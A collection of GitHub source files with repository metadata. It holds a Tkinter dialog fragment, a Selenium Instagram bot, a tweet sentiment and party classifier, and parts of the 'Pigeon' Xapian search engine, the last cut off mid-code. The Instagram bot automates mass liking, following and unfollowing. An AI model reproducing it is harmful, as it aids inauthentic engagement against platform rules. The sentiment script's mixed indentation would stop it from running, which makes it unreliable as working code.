= 'Contraseña de la sesión:').grid(sticky = 'W', row = 2, column = 1)\r\n\r\n user_sesion = StringVar()\r\n pass_sesion = StringVar()\r\n user_entry = Entry(cs_frame, textvariable = user_sesion)\r\n user_entry.grid(sticky = 'W', row = 1, column = 2)\r\n pass_entry = Entry(cs_frame, textvariable = pass_sesion)\r\n pass_entry.grid(sticky = 'W', row = 2, column = 2)\r\n\r\n user = ' '\r\n passw = ' '\r\n def com_cargar_sesion():\r\n user = user_entry.get()\r\n passw = pass_entry.get()\r\n fin_cargar_sesion(user, passw)\r\n cs_raiz.destroy()\r\n \"\"\"\r\n def fin_cargar_sesion(user , passw):\r\n out = Sesion(user, passw)\r\n \"\"\"\r\n\r\n def com_cancelar():\r\n cs_raiz.destroy()\r\n\r\n Label(cs_frame, text = ' ').grid(row = 1, column = 3)\r\n Button(cs_frame, width = 10, text = \"Cargar sesión\", command = com_cargar_sesion).grid(sticky = 'W', row = 1, column = 4)\r\n Button(cs_frame, width = 10, text = \"Cancelar\", command = com_cancelar).grid(sticky = 'W', row = 2, column = 4)\r\n\r\n\r\n#GUARDAR SESIÓN\r\ndef frame_com_guardar_sesion():\r\n messagebox.showinfo('Guardar sesión','Se ha guardado la sesión')\r\n\r\n#GUARDAR SESIÓN COMO\r\ndef frame_com_guardar_sesion_como():\r\n messagebox.showinfo('Guardar sesión','Se ha guardado la sesión')\r\n \r\n\r\n" }, { "alpha_fraction": 0.5434001684188843, "alphanum_fraction": 0.5535767674446106, "avg_line_length": 32.8125, "blob_id": "f1fedb10894b332d35dbc5d084417b7cd09ee325", "content_id": "41ed7051a09df9d53deda11ea619b4e7dc0afecd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6682, "license_type": "no_license", "max_line_length": 135, "num_lines": 192, "path": "/IG-Python-bot-master/IG Bot/bot.py", "repo_name": "ebarrio/Python", "src_encoding": "UTF-8", "text": "from selenium import webdriver\r\nfrom selenium.common.exceptions import NoSuchElementException\r\nfrom selenium.common.exceptions import ElementClickInterceptedException\r\nimport os\r\nimport time\r\n\r\n\r\nclass InstagramBot:\r\n \r\n def __init__(self, username, password, niche):\r\n \"\"\"\r\n __init__ :\r\n Initializes an instance of the InstagramBot and login\r\n Args:\r\n username:str: the instagram username\r\n password:str: the instagram password for a user\r\n\r\n \"\"\"\r\n self.username = username\r\n self.password = password\r\n self.total_likes = 0\r\n self.total_errors = 0\r\n self.niche = niche\r\n self.driver = webdriver.Chrome('chromedriver.exe')\r\n \r\n self.login()\r\n\r\n\r\n def login(self):\r\n\r\n \"\"\"\r\n login:\r\n \"\"\"\r\n # Get to instagram with webdriver\r\n self.driver.get('https://www.instagram.com/accounts/login/')\r\n time.sleep(1)\r\n self.driver.fullscreen_window()\r\n time.sleep(1)\r\n # Set user y and password\r\n self.driver.find_element_by_name('username').send_keys(self.username)\r\n time.sleep(1)\r\n self.driver.find_element_by_name('password').send_keys(self.password)\r\n time.sleep(1)\r\n #Click: \"Iniciar sesion\" (Log in)\r\n self.driver.find_element_by_xpath(\"//div[contains(text(),'Iniciar ses')]\").click() \r\n time.sleep(5)\r\n #Click boton: No notification message\r\n #self.driver.find_element_by_class_name('a001WC').click()\r\n #time.sleep(1)\r\n\r\n\r\n def likes_tag(self,tag,num_likes):\r\n \"\"\"\r\n likes_tag:\r\n Args:\r\n tag:string: Hastag to search\r\n \"\"\"\r\n #Get to hashtag page\r\n self.driver.get('https://www.instagram.com/explore/tags/' + tag)\r\n time.sleep(2)\r\n\r\n #Open - like - close photo loop:\r\n for num in range(0,num_likes) :\r\n try:\r\n #Click photo\r\n self.driver.find_elements_by_class_name('eLAPa')[num].click()\r\n time.sleep(1)\r\n\r\n #Try to like\r\n \r\n self.driver.find_element_by_class_name('dCJp8').click()\r\n time.sleep(1)\r\n \r\n\r\n #Close photo\r\n self.driver.find_element_by_class_name('ckWGn').click()\r\n time.sleep(1)\r\n\r\n self.total_likes += 1\r\n\r\n except (NoSuchElementException, IndexError, ElementClickInterceptedException):\r\n self.total_errors += 1\r\n break\r\n \r\n self.print_stats\r\n\r\n\r\n def close_bot(self):\r\n ## Close Chrome Explorer:\r\n self.driver.quit()\r\n\r\n\r\n def get_tags(self,txt_file, num_likes):\r\n\r\n #Read .txt file, search hashtags and like num_likes times:\r\n text_file = open(txt_file, \"r\")\r\n raw = text_file.readlines()\r\n raw_len = len(raw)\r\n\r\n #Search hashtags in all the .txt file\r\n for i in range(raw_len):\r\n ## Filter hastags and qwerty chars (? == asian char):\r\n if raw[i][0] == '#' :\r\n #print(raw[i][1:])\r\n if raw[i][1] != '?' :\r\n self.likes_tag(raw[i][1:],num_likes)\r\n\r\n text_file.close()\r\n \r\n\r\n def like_all_tags(self,num_likes):\r\n self.get_tags('tags_surf_0.txt',num_likes)\r\n self.get_tags('tags_raw_0.txt',num_likes)\r\n self.get_tags('tags_raw_1.txt',num_likes)\r\n self.get_tags('tags_raw_2.txt',num_likes)\r\n self.get_tags('tags_raw_3.txt',num_likes)\r\n self.get_tags('tags_raw_4.txt',num_likes)\r\n self.get_tags('tags_raw_5.txt',num_likes)\r\n self.get_tags('tags_raw_6.txt',num_likes)\r\n self.get_tags('tags_raw_7.txt',num_likes)\r\n self.get_tags('tags_raw_8.txt',num_likes)\r\n self.get_tags('tags_raw_9.txt',num_likes)\r\n \r\n def like_surf_niche(self,num_likes):\r\n self.get_tags('tags_surf_0.txt',num_likes)\r\n\r\n def print_stats(self):\r\n print('Likes in ' + self.username + ': ' + str(self.total_likes) + ' with ' + str(self.total_errors) + ' errors')\r\n\r\n\r\n def follow_users(self, num_follows, user_to_search):\r\n try:\r\n self.driver.get(\"https://www.instagram.com/\" + user_to_search + \"/\")\r\n time.sleep(1)\r\n self.driver.find_element_by_xpath('//*[@id=\"react-root\"]/section/main/div/header/section/ul/li[2]/a').click()\r\n time.sleep(1)\r\n for i in range(1,num_follows):\r\n self.driver.find_element_by_xpath(\"/html/body/div[3]/div/div[2]/ul/div/li[\" + str(i) + \"]/div/div[2]/button\").click()\r\n time.sleep(5)\r\n except (NoSuchElementException, IndexError, ElementClickInterceptedException):\r\n print(\"Error following in user to serach: \" + user_to_search)\r\n\r\n\r\n def follow_user_surf_niche(self, num_follows) :\r\n self.follow_users(num_follows, \"billabong\")\r\n self.follow_users(num_follows, \"elementskateboards\")\r\n\r\n def unfollow_users(self,num_unfollows):\r\n try:\r\n self.driver.get(\"https://www.instagram.com/\" + self.username + \"/\")\r\n time.sleep(1)\r\n self.driver.find_element_by_xpath('//*[@id=\"react-root\"]/section/main/div/header/section/ul/li[3]/a').click()\r\n time.sleep(1)\r\n #/html/body/div[3]/div/div[2]/ul/div/li[2]/div/div[2]/button\r\n #/html/body/div[3]/div/div[2]/ul/div/li[1]/div/div[3]/button\r\n if (num_unfollows > 0):\r\n for i in range(1, num_unfollows):\r\n\r\n self.driver.find_element_by_xpath('/html/body/div[3]/div/div[2]/ul/div/li['+ str(i) +']/div/div[3]/button').click()\r\n time.sleep(1)\r\n self.driver.find_element_by_xpath('/html/body/div[4]/div/div/div[3]/button[1]').click()\r\n time.sleep(1)\r\n\r\n except (NoSuchElementException, IndexError, ElementClickInterceptedException):\r\n print('Error in unfollow number:' + str(i))\r\n\r\n\r\n def instagram_rutine(self, num_likes, num_follow_page, num_unfollows):\r\n self.follow_user_surf_niche(num_follow_page)\r\n self.like_surf_niche(num_likes)\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n num_follows_page = 20\r\n num_likes_tag = 2\r\n num_unfollows = 0\r\n\r\n #Declare bot:\r\n ig_bot = InstagramBot('user', 'pass','niche')\r\n\r\n # Execute rutine:\r\n ig_bot.instagram_rutine(num_likes_tag, num_follows_page, num_unfollows)\r\n\r\n #UnfolloW users:\r\n ig_bot.unfollow_users(num_unfollows)\r\n\r\n # Print bot stats\r\n ig_bot.print_stats()\r\n\r\n #Close Chrome Explorer\r\n ig_bot.close_bot()" } ]
8
yihaodu/MIE1624_sentiment
https://github.com/yihaodu/MIE1624_sentiment
da8c7b1ca0e8336aff93c8fb168138ef8a0bd0f4
2cde0bcfbbf6ff8ddb1af76a2ddf9171e253c0d9
776791a1b2b5a7ec06cf9caa15c845a7de0a18a0
refs/heads/master
2020-04-14T21:26:46.898253
2019-01-04T17:09:56
2019-01-04T17:09:56
164,128,761
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6008638739585876, "alphanum_fraction": 0.6160401701927185, "avg_line_length": 28.491104125976562, "blob_id": "5267a3d0ea6a7a7148fcca1e4b48477507c47096", "content_id": "e7ca52859fb323cd3756eab8b3d9c8d966b23b4c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8566, "license_type": "no_license", "max_line_length": 123, "num_lines": 281, "path": "/sentiment.py", "repo_name": "yihaodu/MIE1624_sentiment", "src_encoding": "UTF-8", "text": "import re\r\nimport random\r\nimport numpy as np\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nfrom sklearn.naive_bayes import GaussianNB\r\nfrom sklearn.metrics import roc_curve, auc, accuracy_score\r\nfrom sklearn.linear_model import LogisticRegression\r\n# from sklearn.model_selection import KFold\r\nimport matplotlib.pyplot as plt\r\n\r\n# -------------------data preparation--------------\r\ndata = open(\"files/classified_tweets.txt\")\r\n# data = open(\"files/sample.txt\")\r\nraw_data = data.read().splitlines()\r\ndata.close()\r\n\r\nrandom.shuffle(raw_data)\r\n\r\nX_data = []\r\ny_data = []\r\n\r\nfor line in raw_data:\r\n indiv_data = line.split(' ', 1)\r\n X_data.append(indiv_data[1])\r\n y_data.append(indiv_data[0])\r\n\r\nX_data_array = np.array(X_data)\r\ny_data_array = np.array(y_data)\r\n\r\nX_sample = X_data[0::20] #[start:end:step] in list slice\r\ny_sample = y_data[0::20]\r\n\r\nX_sample_array = np.array(X_sample)\r\ny_sample_array = np.array(y_sample)\r\n\r\nprint (\"---Done with data preparation----\")\r\n\r\n\r\n#------------------ modeling training for algorithms testing (NB and LR)------------------\r\ndef pred_transfrom(a):\r\n b = []\r\n for i in a:\r\n if(i == '4'):\r\n e = 1\r\n else: e = 0\r\n b.append(e)\r\n\r\n return b\r\n\r\ndef kfoldtest (dataset, folds):\r\n dataset_split = list()\r\n dataset_copy = list(dataset)\r\n fold_size = int(len(dataset) / folds)\r\n for i in range(folds):\r\n fold = list()\r\n while len(fold) < fold_size:\r\n index = random.randrange(len(dataset_copy))\r\n fold.append(dataset_copy.pop(index))\r\n dataset_split.append(fold)\r\n return dataset_split\r\n\r\ndef kfoldtrain (dataset, kfoldtest):\r\n train = []\r\n for item in kfoldtest:\r\n train_element = [x for x in dataset if x not in item]\r\n train.append(train_element)\r\n return train\r\n\r\ncount_vect = CountVectorizer(max_features=3000, stop_words=\"english\")\r\n\r\nfpr_nb = []\r\ntpr_nb = []\r\nroc_auc_nb = []\r\naccu_nb = []\r\n\r\nfpr_lr = []\r\ntpr_lr = []\r\nroc_auc_lr = []\r\naccu_lr = []\r\n\r\nkfold = 10\r\nindexList = range(len(X_sample))\r\ntest_index = kfoldtest(indexList,kfold)\r\ntrain_index = kfoldtrain(indexList,test_index)\r\n\r\n\r\n\r\nfor index in range(len(test_index)):\r\n\r\n\tX_train, X_test = X_sample_array[train_index[index]], X_sample_array[test_index[index]]\r\n\ty_train, y_test = y_sample_array[train_index[index]], y_sample_array[test_index[index]]\r\n\r\n X_train_count = count_vect.fit_transform(X_train).toarray()\r\n X_test_count = count_vect.transform(X_test).toarray()\r\n\r\n y_true = pred_transfrom(y_test)\r\n\r\n nb_clf = GaussianNB().fit(X_train_count, y_train)\r\n y_pred_nb_temp = nb_clf.predict(X_test_count)\r\n y_pred_nb = pred_transfrom(y_pred_nb_temp)\r\n\r\n fpr_nb_fold, tpr_nb_fold, thresholds_nb_fold = roc_curve(y_true, y_pred_nb)\r\n roc_auc_nb_fold = auc(fpr_nb_fold, tpr_nb_fold)\r\n fpr_nb += fpr_nb_fold.tolist()\r\n tpr_nb += tpr_nb_fold.tolist()\r\n roc_auc_nb.append(roc_auc_nb_fold)\r\n\r\n accu_nb.append(accuracy_score(y_true, y_pred_nb))\r\n\r\n lr_clf = LogisticRegression().fit(X_train_count, y_train)\r\n y_pred_lr_temp = lr_clf.predict(X_test_count)\r\n y_pred_lr = pred_transfrom(y_pred_lr_temp)\r\n\r\n fpr_lr_fold, tpr_lr_fold, thresholds_lr_fold = roc_curve(y_true, y_pred_lr)\r\n roc_auc_lr_fold = auc(fpr_lr_fold, tpr_lr_fold)\r\n fpr_lr += fpr_lr_fold.tolist()\r\n tpr_lr += tpr_lr_fold.tolist()\r\n roc_auc_lr.append(roc_auc_lr_fold)\r\n\r\n accu_lr.append(accuracy_score(y_true, y_pred_lr))\r\n\r\n# --------------Computate the fpr and tpr for two algorithm and plot ROC curve-------------\r\nfpr_nb_mean = (sum(fpr_nb)-10.0)/10.0\r\ntpr_nb_mean = (sum(tpr_nb)-10.0)/10.0\r\nroc_auc_nb_mean = sum(roc_auc_nb)/10.0\r\n\r\nfpr_lr_mean = (sum(fpr_lr)-10.0)/10.0\r\ntpr_lr_mean = (sum(tpr_lr)-10.0)/10.0\r\nroc_auc_lr_mean = sum(roc_auc_lr)/10.0\r\n\r\nplt.figure(1)\r\nplt.title('Receiver Operating Characteristic')\r\nplt.plot([0,fpr_nb_mean,1], [0,tpr_nb_mean,1], 'b', label = 'NB_AUC = %0.4f'% roc_auc_nb_mean)\r\nplt.plot([0,fpr_lr_mean,1], [0,tpr_lr_mean,1], 'r', label = 'LR_AUC = %0.4f'% roc_auc_lr_mean)\r\nplt.legend(loc='lower right')\r\nplt.plot([0, 1], [0, 1], 'k--')\r\nplt.ylabel('True Positive Rate(TPR)')\r\nplt.xlabel('False Positive Rate(FPR)')\r\n\r\naccu = [accu_nb, accu_lr]\r\n\r\nplt.figure(2)\r\nplt.title('Accuracy based on two algorithms')\r\nf = plt.boxplot(accu,0,'', widths=(0.35, 0.35), patch_artist=True)\r\ncolors = ['lightblue', 'lightgreen']\r\nfor patch, color in zip(f['boxes'], colors):\r\n patch.set_facecolor(color)\r\n plt.xticks([1,2],('Naive Bayes','Logistic Regression'))\r\n plt.ylabel('Accuracy')\r\n\r\n# --------------Now LR algorithm is used for the formal model training and prediction-------------\r\n\r\ndata = open(\"files/unclassified_tweets.txt\")\r\nraw_data = data.read().splitlines()\r\ndata.close()\r\n\r\nX_test = []\r\n\r\nfor line in raw_data:\r\n X_test.append(line)\r\n\r\n\r\nX_test_array = np.array(X_test)\r\n\r\nX_train_count = count_vect.fit_transform(X_data_array)\r\nX_test_count = count_vect.transform(X_test_array)\r\n\r\nlr_clf = LogisticRegression().fit(X_train_count, y_data_array)\r\ny_pred = lr_clf.predict(X_test_count).tolist()\r\n\r\npositive = y_pred.count('4')\r\nnegative = y_pred.count('0')\r\n\r\nplt.figure(3)\r\nplt.title('Sentiment Analysis with Logistic Regression')\r\nlabels = 'positive', 'negative'\r\nsentiment = [positive, negative]\r\ncolors = ['lightcoral', 'lightskyblue']\r\nplt.pie(sentiment, labels=labels, colors=colors, autopct='%1.3f%%', shadow=True, startangle=100)\r\nplt.axis('equal')\r\n\r\n# --------------Party classifier and Political sentiment analysis-------------\r\n\r\ndef party(tw):\r\n\r\n liberal_keywords = ['liberal', 'realchange', 'trudeau', 'freedom', 'responsibility', 'samesex', 'cannabis',\r\n 'justin', 'marijuana', 'refugee', 'trudeaujustin']\r\n\r\n conservative_keywords = ['conservative', 'stephen', 'harper', 'tory', 'economics', 'government',\r\n 'diversity', 'security', 'trade', 'democracy', 'federalism', 'stephenharper']\r\n\r\n NDP_keywords = ['tommulcair', 'ndp', 'peace', 'environmental','newdemocracy', 'broadbent', 'taxincreases', 'socialist']\r\n\r\n num_liberal = 0\r\n num_conservative = 0\r\n num_NDP = 0\r\n num_other = 0\r\n\r\n hashtags = re.findall(r\"#(\\w+)\", tw)\r\n\r\n for word in hashtags:\r\n if (word in liberal_keywords):\r\n num_liberal += 1\r\n elif (word in conservative_keywords):\r\n num_conservative += 1\r\n elif (word in NDP_keywords):\r\n num_NDP += 1\r\n else:\r\n num_other += 1\r\n # count the number of hashtags in different party\r\n\r\n party = 'party'\r\n\r\n result = [num_liberal, num_conservative, num_NDP, num_other]\r\n finalresult = max(result)\r\n\r\n if (finalresult == num_liberal):\r\n party = 'Liberal'\r\n elif (finalresult == num_conservative):\r\n party = 'Conservative'\r\n elif (finalresult == num_NDP):\r\n party = 'NDP'\r\n else:\r\n party = 'other'\r\n # indicate the party with most number of key word\r\n\r\n return party\r\n\r\npartycounter = {'Liberal':0, 'Conservative':0, 'NDP':0, 'other':0}\r\n\r\npolsent = {'Liberal':{'4':0, '0':0}, 'Conservative':{'4':0, '0':0}, 'NDP':{'4':0, '0':0}, 'other':{'4':0, '0':0}}\r\n\r\nfor i in range(len(X_test)):\r\n pol = party(X_test[i])\r\n partycounter[pol] += 1\r\n polsent[pol][y_pred[i]] += 1\r\n\r\npolsent_pos = []\r\npolsent_neg = []\r\npolsent_label = []\r\n\r\nfor par in polsent.keys():\r\n polsent_label.append(par)\r\n pos = polsent[par]['4']\r\n neg = polsent[par]['0']\r\n pos_frac = float((pos+0.0)/(pos + neg))\r\n neg_frac = float((neg+0.0)/(pos + neg))\r\n polsent_pos.append(pos_frac)\r\n polsent_neg.append(neg_frac)\r\n\r\nplt.figure(4)\r\nplt.title('political party classfication')\r\nlabels = []\r\nsizes = []\r\nfor key in partycounter.keys():\r\n labels.append(key)\r\n sizes.append(partycounter[key])\r\ncolors = ['gold', 'yellowgreen', 'lightcoral', 'lightskyblue']\r\nplt.pie(sizes, colors=colors, autopct='%1.3f%%', shadow=True, startangle=160)\r\nplt.legend(labels, loc=\"best\")\r\nplt.tight_layout()\r\nplt.axis('equal')\r\n\r\nplt.figure(5)\r\nn_groups = 4\r\nindex = np.arange(n_groups)\r\nbar_width = 0.35\r\nplt.bar(index, polsent_pos, bar_width,\r\n color='lightcoral', label='Positive')\r\n\r\nplt.bar(index + bar_width, polsent_neg, bar_width,\r\n color='lightskyblue', label='Negative')\r\n\r\nplt.title('political sentiment analysis')\r\nplt.xlabel('political parties')\r\nplt.ylabel('political sentiment composion')\r\nplt.xticks(index + bar_width, polsent_label)\r\nplt.legend(loc=\"best\")\r\n\r\nplt.tight_layout()\r\nplt.show()" }, { "alpha_fraction": 0.761904776096344, "alphanum_fraction": 0.8095238208770752, "avg_line_length": 41.5, "blob_id": "2213541d24d3434af12bf6712451af6629702f79", "content_id": "89ebcd7b847968082d950dfc636bef14e000e0cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 84, "license_type": "no_license", "max_line_length": 64, "num_lines": 2, "path": "/README.md", "repo_name": "yihaodu/MIE1624_sentiment", "src_encoding": "UTF-8", "text": "# MIE1624_Sentiment\nThis is a course project to do sentiment analysis on Tweet data." } ]
2
lfrdreamman/Pigeon
https://github.com/lfrdreamman/Pigeon
8f325d3952bb164f48297670d384303129e2bbe7
c3016c124eb0645e4e9bdc8a44e1c4c05a924a1a
20266a216f9642b980a39f8b77d4fa53cc8ecb5b
refs/heads/master
2020-06-05T13:20:54.827776
2015-08-23T13:41:52
2015-08-23T13:41:52
40,483,828
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5833333134651184, "alphanum_fraction": 0.5833333134651184, "avg_line_length": 23, "blob_id": "520047eab4f2d7a22ce34d25dccbf302d4c41ffd", "content_id": "6e0151de65582f7c163ae68bb30d7e9884f47df5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 24, "license_type": "no_license", "max_line_length": 23, "num_lines": 1, "path": "/web/__init__.py", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "__author__ = 'liuqiang'\n" }, { "alpha_fraction": 0.6581131815910339, "alphanum_fraction": 0.6671698093414307, "avg_line_length": 20.03174591064453, "blob_id": "2b1e29bf931299f00670f2578890541c1013bfe2", "content_id": "1489dc85d76aa83f39523d13e48537ce3fc45b6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1331, "license_type": "no_license", "max_line_length": 101, "num_lines": 63, "path": "/IndexServer/src/indexsearch.cpp", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "/*\n * indexsearch.cpp\n *\n * Created on: 2015年8月21日\n * Author: liuqiang\n */\n\n#include \"indexsearch.h\"\n\nindex_search *index_search::is = NULL;\n\nindex_search::index_search(char *indexdb_dir):db(indexdb_dir,Xapian::DB_CREATE_OR_OPEN),enquire(db) {\n\t// TODO Auto-generated constructor stub\n\n\n}\n\nindex_search::~index_search() {\n\t// TODO Auto-generated destructor stub\n}\n\nindex_search* index_search::getInstance()\n{\n\tif(is != NULL)\n\t{\n\t\treturn is;\n\t}\n\tis = new index_search(\"/Users/liuqiang/PycharmProjects/Pigeon/index_data/\");\n\treturn is;\n}\n\nvoid index_search::index(unsigned int id,items &t)\n{\n\tDocument doc;\n\tfor(items::const_iterator it = t.begin();it != t.end();++it)\n\t{\n\t\tdoc.add_term(it->first);\n\t}\n\tdb.replace_document(id,doc);\n}\nvoid index_search::update_index(unsigned int id,items &t)\n{\n\tDocument doc = db.get_document(id);\n\n\tdoc.clear_terms();\n\tfor(items::const_iterator it = t.begin();it != t.end();++it)\n\t{\n\t\tdoc.add_term(it->first);\n\t}\n\n\tdb.replace_document(id, doc);\n\n}\nvoid index_search::search(search_key &t,result &r,int offset,int limit)\n{\n\tQuery query(Xapian::Query::OP_OR, t.begin(), t.end());\n\tenquire.set_query(query);\n\tMSet matches = enquire.get_mset(offset, limit, 10000);\n\tfor (Xapian::MSetIterator i = matches.begin(); i != matches.end(); ++i)\n\t{\n\t\tr.push_back(i.get_document().get_docid());\n\t}\n}\n" }, { "alpha_fraction": 0.55402010679245, "alphanum_fraction": 0.5640703439712524, "avg_line_length": 28.44444465637207, "blob_id": "dba7166aea5081df08cd994462348cbeaa970933", "content_id": "1794886f0411880d536d8938d4181995cd80fe11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 1592, "license_type": "no_license", "max_line_length": 183, "num_lines": 54, "path": "/IndexServer/Debug/src/subdir.mk", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "################################################################################\n# Automatically-generated file. Do not edit!\n################################################################################\n\n# Add inputs and outputs from these tool invocations to the build variables \nCC_SRCS += \\\n../src/index_msg.pb.cc \\\n../src/search_msg.pb.cc \n\nCPP_SRCS += \\\n../src/IndexServer.cpp \\\n../src/indexsearch.cpp \\\n../src/tinystr.cpp \\\n../src/tinyxml.cpp \\\n../src/tinyxmlerror.cpp \\\n../src/tinyxmlparser.cpp \n\nCC_DEPS += \\\n./src/index_msg.pb.d \\\n./src/search_msg.pb.d \n\nOBJS += \\\n./src/IndexServer.o \\\n./src/index_msg.pb.o \\\n./src/indexsearch.o \\\n./src/search_msg.pb.o \\\n./src/tinystr.o \\\n./src/tinyxml.o \\\n./src/tinyxmlerror.o \\\n./src/tinyxmlparser.o \n\nCPP_DEPS += \\\n./src/IndexServer.d \\\n./src/indexsearch.d \\\n./src/tinystr.d \\\n./src/tinyxml.d \\\n./src/tinyxmlerror.d \\\n./src/tinyxmlparser.d \n\n\n# Each subdirectory must supply rules for building sources it contributes\nsrc/%.o: ../src/%.cpp\n\t@echo 'Building file: $<'\n\t@echo 'Invoking: GCC C++ Compiler'\n\tg++ -std=c++98 -I/usr/local/Cellar/zeromq/4.1.2/include -I/usr/local/protobuffer/include -O0 -g3 -Wall -c -fmessage-length=0 -MMD -MP -MF\"$(@:%.o=%.d)\" -MT\"$(@:%.o=%.d)\" -o \"$@\" \"$<\"\n\t@echo 'Finished building: $<'\n\t@echo ' '\n\nsrc/%.o: ../src/%.cc\n\t@echo 'Building file: $<'\n\t@echo 'Invoking: GCC C++ Compiler'\n\tg++ -std=c++98 -I/usr/local/Cellar/zeromq/4.1.2/include -I/usr/local/protobuffer/include -O0 -g3 -Wall -c -fmessage-length=0 -MMD -MP -MF\"$(@:%.o=%.d)\" -MT\"$(@:%.o=%.d)\" -o \"$@\" \"$<\"\n\t@echo 'Finished building: $<'\n\t@echo ' '\n\n\n" }, { "alpha_fraction": 0.6083032488822937, "alphanum_fraction": 0.6245487332344055, "avg_line_length": 24.227272033691406, "blob_id": "dbc23406cab0c5cbc2ba6850812f7bec4dfc190c", "content_id": "6edbc3ce906a4186e93b9bd5d1c4927e6924fec1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 554, "license_type": "no_license", "max_line_length": 101, "num_lines": 22, "path": "/util/processword.py", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "__author__ = 'liuqiang'\nimport re,codecs\n\ndef loadstopword():\n x = []\n output = codecs.open(\"/Users/liuqiang/PycharmProjects/Pigeon/stopword/stopwords.txt\",'r','UTF-8')\n for line in output.readlines():\n line = line.strip('\\n')\n x.append(line)\n return x\n\nre_filter = re.compile(u\"[\\u4E00-\\u9FA5a-zA-Z]+|[0-9]{2,}\")\nstopword_list = loadstopword()\n\ndef WordIsRight(word):\n if not word:\n return False\n if not re_filter.match(word):\n return False\n if word in stopword_list:\n return False\n return True" }, { "alpha_fraction": 0.6818181872367859, "alphanum_fraction": 0.6818181872367859, "avg_line_length": 6.900000095367432, "blob_id": "289e41ae6c4ef8fce38d9151de7e1a2e67e3f5dc", "content_id": "8c38d2f3a92a8a4eca9339b5bb8daa45bc3aa2eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 242, "license_type": "no_license", "max_line_length": 28, "num_lines": 30, "path": "/start.sh", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n#start web server\n\ncd web\n\npython manage.py runserver &\n\n\n#start crawler\n\ncd ../\ncd crawler/\nscrapy crawl dmoz\n\n\n#start index\n\ncd ../\ncd index\n\npython TextClient.py\n\n\n#start search\n\ncd ../\ncd search\n\npython SearchServer.py\n\n\n\n\n\n" }, { "alpha_fraction": 0.7799999713897705, "alphanum_fraction": 0.7799999713897705, "avg_line_length": 15.666666984558105, "blob_id": "d4762defe469f004acb810281352e8b97b73afb8", "content_id": "9519dc7f29542ee20baaa0ceff7bac8068681412", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 100, "license_type": "no_license", "max_line_length": 34, "num_lines": 6, "path": "/README.md", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "# Pigeon\nA Search Engine \ncrawler in python\nindex server in C++\n\nkeywords:Xapian zeromq jieba mysql\n" }, { "alpha_fraction": 0.4699207842350006, "alphanum_fraction": 0.4795547127723694, "avg_line_length": 32.13475036621094, "blob_id": "21571aeaba79eda5cafa24b7de666524b76cbe17", "content_id": "df6604916c51c97828a7b400a6bcd56e050d24f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4701, "license_type": "no_license", "max_line_length": 130, "num_lines": 141, "path": "/crawler/crawler/TextExtractor.py", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "#coding=utf-8\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\n__author__ = 'liuqiang'\n\n\nimport re\nfrom langdetect import detect\nfrom langdetect.lang_detect_exception import LangDetectException\n\nclass TextExtractor(object):\n def __init__(self):\n self.lines = []\n self.blockWidth = 3\n self.threshold = -1\n self.start = -1\n self.end = -1\n self.indexDistribution = []\n self.flag = False\n self.lang = ''\n\n def langdetect(self,source):\n tmp = source[:len(source)/200]\n try:\n return detect(tmp)\n except LangDetectException, e:\n return ''\n def prune(self,txt):\n return txt\n\n def extract(self,_html):\n txt = self.parse(_html,False)\n return self.prune(txt)\n\n def parse(self,_html,_flag):\n self.flag = _flag\n self.html = self.preProcess(_html)\n\n #print self.html\n if len(self.html) == 0:\n return ''\n\n return self.getText()\n\n def preProcess(self,source):\n source = re.sub('<!DOCTYPE.*?>','',source,flags=re.I | re.S)\n source = re.sub('<!--.*?-->','',source,flags=re.I | re.S)\n source = re.sub('<script.*?>.*?</script>','',source,flags=re.I | re.S)\n source = re.sub('<style.*?>.*?</style>','',source,flags=re.I | re.S)\n source = re.sub('&.{2,7};|&#.{3,4};','',source)\n source = re.sub('<[sS][pP][aA][nN].*?>','',source)\n source = re.sub('</[sS][pP][aA][nN]>','',source)\n #source = re.sub(\"<[^>'\\\"]*['\\\"].*['\\\"].*?>\",'',source)\n source = re.sub('<.*?>','',source,flags=re.S)\n source = re.sub('\\r\\n','\\n',source)\n\n self.lang = self.langdetect(source)\n\n if len(self.lang) == 0:\n return ''\n\n return source\n\n def getText(self):\n self.lines = self.html.split('\\n')\n empty = 0\n text = ''\n\n if(len(self.lines) < self.blockWidth):\n return \"\"\n\n for i in range(len(self.lines) - self.blockWidth):\n if len(self.lines[i]) == 0:\n empty+=1\n wordsNum = 0\n for j in range(self.blockWidth):\n temp = re.sub('\\\\s+','',self.lines[i+j])\n if len(temp) != 0:\n #添加支持的语言\n if self.lang == 'zh-cn':\n self.lines[i+j] = re.sub('\\\\s+','',self.lines[i+j])\n wordsNum += len(self.lines[i+j])\n elif self.lang == 'en':\n self.lines[i+j] = self.lines[i+j].strip(' ')\n wordsNum += len(self.lines[i+j].split(' '))\n self.indexDistribution.append(wordsNum)\n\n _sum = sum(self.indexDistribution)\n\n self.threshold = min(100,(_sum/len(self.indexDistribution)) << (empty/(len(self.lines)-empty)>>1))\n self.threshold = max(50, self.threshold)\n\n start = -1\n end = -1\n\n boolstart = False\n boolend = False\n\n firstMatch = 